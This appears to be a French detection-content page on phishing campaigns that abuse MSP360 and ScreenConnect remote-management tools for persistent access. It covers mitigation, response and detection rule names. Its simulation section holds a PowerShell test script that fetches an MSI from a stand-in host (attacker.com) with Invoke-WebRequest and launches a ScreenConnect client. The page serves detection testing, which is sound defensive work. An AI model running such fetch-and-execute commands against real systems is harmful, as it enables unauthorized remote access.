Le Phishing Abus des Outils RMM pour un Accès Persistant
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Les acteurs malveillants exploitent des campagnes de phishing pour fournir un installateur légitime MSP360 RMM déguisé en logiciel fiable. Une fois lancé, l’installateur établit une persistance et télécharge ensuite ConnectWise ScreenConnect, fournissant aux attaquants un canal d’accès à distance supplémentaire. Cela permet d’effectuer d’autres activités après compromis, y compris le vol d’identifiants et la collecte de données sensibles.
Enquête
Les experts de Microsoft Defender ont identifié plusieurs appâts de phishing se faisant passer pour Zoom, Adobe et des invitations à des réunions légitimes pour distribuer MSP360 v2.5.0.67. Les chercheurs ont reconstruit la chaîne d’infection, traçant l’exécution initiale de l’utilisateur et l’élévation UAC à travers l’installation de services et le déploiement d’outils RMM secondaires. L’enquête a également révélé que les attaquants abusent des plateformes cloud de confiance, y compris Amazon S3 et Dropbox, pour héberger des charges utiles malveillantes.
Atténuation
Les organisations devraient contrôler strictement les outils RMM approuvés en appliquant le MFA et en mettant en œuvre des politiques de contrôle des applications pour empêcher les installations non autorisées. Des règles de blocage basées sur des certificats peuvent encore restreindre certaines applications signées. Renforcer les défenses des points finaux grâce à une protection antivirus livrée par le cloud et des règles de réduction de la surface d’attaque est également essentiel pour réduire l’exposition.
Réponse
Lorsqu’une installation RMM non autorisée est découverte, les équipes de sécurité doivent immédiatement réinitialiser les identifiants associés aux installations de services concernés. Un soupçon de compromis des comptes de niveau système nécessite une enquête complète pour déterminer l’étendue de l’attaque. Passez en revue les journaux de détection des endpoints pour identifier les sessions de gestion à distance suspectes et les activités post-compromis associées.
Flux d’attaque
Nous mettons encore à jour cette partie.
Détections
Téléchargement ou Téléversement via Powershell (via cmdline)
Exécution de changement inhabituel de page de code (via cmdline)
Logiciel d’accès à distance / gestion alternatif (via process_creation)
Appeler des méthodes .NET suspectes depuis Powershell (via powershell)
Commande et contrôle suspect par requête DNS de domaine de premier niveau (TLD) inhabituel (via dns)
IOC (HashSha256) pour détecter : Phishing utilise des outils RMM pour un accès persistant
IOC (HashSha1) pour détecter : Phishing utilise des outils RMM pour un accès persistant
Détecter PowerShell Invoke-WebRequest pour le téléchargement de package MSI distant [Windows Powershell]
Phishing utilise des outils RMM pour un accès persistant [Création de processus Windows]
Exécution de Simulation
-
Narratif d’attaque et commandes : Un adversaire initie une campagne de spearphishing. La victime clique sur un lien qui déclenche une commande PowerShell en une ligne. Cette commande utilise
Invoke-WebRequestpour téléchargerClientSetup.msi(simulant l’installateur ScreenConnect) depuis un serveur distant. Une fois téléchargé, l’attaquant exécute le MSI, et l’étape finale de la simulation consiste à lancerScreenConnect.WindowsClient.exepour imiter la session d’accès à distance établie. Cette séquence est conçue pour déclencherla logique de la règle selection_2 ET selection_3.logic of the rule. -
Script de test de régression :
# Simulation du déploiement RMM basé sur le Phishing $tempDir = $env:TEMP $msiName = "ClientSetup.msi" $exeName = "ScreenConnect.WindowsClient.exe" $msiPath = Join-Path $tempDir $msiName $exePath = Join-Path $tempDir $exeName # 1. Simuler le téléchargement PowerShell (partie A de la sélection 2) Write-Host "[+] Simulation du téléchargement PowerShell de MSI..." # Utilisation d'un fichier factice pour simuler le téléchargement de l'MSI New-Item -Path $msiPath -ItemType File -Force # Cette commande correspond à la logique 'Invoke-WebRequest' et 'ClientSetup.msi' de la règle powershell.exe -Command "Invoke-WebRequest -Uri 'http://attacker.com/ClientSetup.msi' -OutFile '$msiPath'" # 2. Créer un exécutable factice pour simuler le client ScreenConnect (Sélection 3) Write-Host "[+] Création d'un exécutable ScreenConnect factice..." New-Item -Path $exePath -ItemType File -Force # 3. Exécuter le client (Sélection 3 et finalisation de la sélection 2) Write-Host "[+] Exécution du client ScreenConnect..." Start-Process -FilePath $exePath -
Commandes de nettoyage :
# Nettoyage des artefacts de simulation Remove-Item -Path "$env:TEMPClientSetup.msi" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPScreenConnect.WindowsClient.exe" -Force -ErrorAction SilentlyContinue Write-Host "[+] Nettoyage terminé."